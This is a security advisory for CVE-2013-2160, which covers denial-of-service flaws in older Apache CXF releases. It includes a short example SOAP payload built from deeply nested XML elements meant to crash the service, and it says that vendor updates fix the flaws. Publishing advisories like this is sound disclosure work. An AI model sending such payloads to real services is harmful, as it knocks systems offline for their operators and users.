Apache CXF CVE-2013-2160 Multiple Remote Denial of Service Vulnerabilities

Bugtraq ID:	61030
Class:	Failure to Handle Exceptional Conditions
CVE:	CVE-2013-2160
Remote:	Yes
Local:	No
Published:	Jul 09 2013 12:00AM
Updated:	Oct 17 2013 05:44AM
Credit:	Andreas Falkenberg of SEC Consult Deutschland GmbH, and Christian Mainka, Juraj Somorovsky and Joerg Schwenk of Ruhr-University Bochum.
Vulnerable:
Not Vulnerable:

Apache CXF CVE-2013-2160 Multiple Remote Denial of Service Vulnerabilities

Apache CXF is prone to multiple remote denial-of-service vulnerabilities.

Attackers can exploit these issues to crash the application, resulting in denial-of-service conditions.

Apache CXF prior to 2.5.10, 2.6.7, and 2.7.4 are vulnerable.

Apache CXF CVE-2013-2160 Multiple Remote Denial of Service Vulnerabilities

An attacker can exploit these issues using readily available tools.

The following example data is available:

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://www.example.com/2003/05/soap-envelope";>
<soap:Body>
<element>
<element>
<element>
<element>
[thousands more]
</element>
</element>
</element>
</element>
</soap:Body>
</soap:Envelope>

Apache CXF CVE-2013-2160 Multiple Remote Denial of Service Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

Apache CXF CVE-2013-2160 Multiple Remote Denial of Service Vulnerabilities

References:

• Apache CXF (Apache Software Foundation)